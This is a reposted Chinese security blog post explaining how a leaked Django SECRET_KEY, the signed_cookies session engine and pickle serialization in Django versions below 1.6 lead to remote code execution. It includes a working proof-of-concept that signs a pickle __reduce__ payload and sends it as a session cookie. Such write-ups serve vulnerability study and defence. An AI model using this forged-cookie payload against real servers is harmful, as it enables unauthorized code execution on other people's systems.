博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
从django的SECRET_KEY到代码执行
阅读量:6830 次
发布时间:2019-06-26

本文共 2598 字,大约阅读时间需要 8 分钟。

xxlegend · 2015/09/08 18:29

0x00 背景


最近审查代码发现某些产品在登录的JS代码中泄露了SECRET_KEY,将该值作为密码加密的盐,这样就暴露了加密salt不太好吧,更重要的是对django的安全造成了极大的威胁。

0x01 SECRET_KEY作用


SECTET_KEYdjanog中使用非常广泛,基本上涉及到安全,加密等的地方都用到了,下面列举一些常见情景:

1,json object的签名

2,加密函数,如密码重置,表单,评论,csrfkeysession数据

这里面就要重点讲到session的问题,在这里使用不当就会导致代码执行

0x02 代码执行


2.1 settings的session设置

django默认存储session到数据库中,但是可能会比较慢,就会使用到缓存,文件,还有cookie等方式,如果采用了cookie机制则有可能代码执行,settings配置如下:

SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'复制代码

2.2 django 1.6以下

django1.6以下,session默认是采用pickle执行序列号操作,在1.6及以上版本默认采用json序列化。代码执行只存在于使用pickle序列话的操作中。

2.3 session处理流程

可以简单的分为两部分,process_requestprocess_response,前者负责选择session引擎,初始化cookie数据。见代码

#!pythonclass SessionMiddleware(object):    def process_request(self, request):        engine = import_module(settings.SESSION_ENGINE)        session_key = request.COOKIES.get(settings.SESSION_COOKIE_NAME, None)        request.session = engine.SessionStore(session_key)复制代码

process_response则是处理返回给用户的cookie信息,比如修改过期时间等。在将session存入缓存后,可能在某个操作中会用到session信息,这个时候就会通过反序列化操作从缓存中取,如果反序列话引擎是采用pickle机制的话就存在代码执行。反序列化的代码位于django.core.signing.py中,这个模块主要是一些签名,加解密操作,同时也包含序列化和反序列化,默认采用JSON引擎,下面是反序列话loads的代码:

#!pythondef loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):    """    Reverse of dumps(), raises BadSignature if signature fails    """    base64d = smart_str(        TimestampSigner(key, salt=salt).unsign(s, max_age=max_age))    decompress = False    if base64d[0] == '.':        # It's compressed; uncompress it first        base64d = base64d[1:]        decompress = True    data = b64_decode(base64d)    if decompress:        data = zlib.decompress(data)    return serializer().loads(data)复制代码

2.4 构造POC

#!pythonimport osos.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')from django.conf import settingsfrom django.core import signingfrom django.contrib.sessions.backends import signed_cookiesclass Run(object):    def __reduce__(self):        return (os.system,('touch /tmp/xxlegend.log',))sess = signing.dumps(Run(), serializer=signed_cookies.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')print sessimport urllib2import cookieliburl = 'http://10.24.35.228:8000/favicon.ico'headers = {'Cookie':'sessionid="%s"' %(sess)}request = urllib2.Request(url,headers = headers)response = urllib2.urlopen(request)print response.read()复制代码

通过序列化Run类,实现创建一个文件的操作,在反序列化的时候执行这个操作。执行代码完成可看到在/tmp目录创建xxlegend.log文件,同时web500错误。

0x03 总结


利用条件总结起来就是这么几句话,首先泄露了SECRET_KEY,其次session引擎采用了signed_cookies,django版本小于1.6即存在代码执行问题。同样的问题也存在于python的其他web框架中,如flaskbottle

转载地址:http://binkl.baihongyu.com/

你可能感兴趣的文章
常用Category
查看>>
Mysql性能测试 Mysql性能
查看>>
单例模式
查看>>
搜狗输入法漏洞获取系统权限0day再述
查看>>
常见的WebPack文件、什么是WebPack
查看>>
DVD刻录机的使用与维护
查看>>
乌班图的世界——建立文件夹和空文件
查看>>
构建Postfix邮件系统(二) -- SMTP认证发信+SquirrelMail
查看>>
Oracle 使用concat函数需要注意的地方
查看>>
数据库默认排序
查看>>
Postgresql基于时间点恢复PITR案例(二)
查看>>
iOS 从app跳到设置界面
查看>>
条件测试
查看>>
Android SeekBar自定义使用图片和颜色显示
查看>>
从零开始部署bind9服务器之四: 配置192.168.1.102
查看>>
zookeeper学习之三(Curator客户端)
查看>>
selenium应用
查看>>
linux磁盘管理
查看>>
索骥馆-走向世界之《用美国小孩的方法学英文动词》扫描版[PDF]
查看>>
Android之基于XMPP协议即时通讯软件(三)
查看>>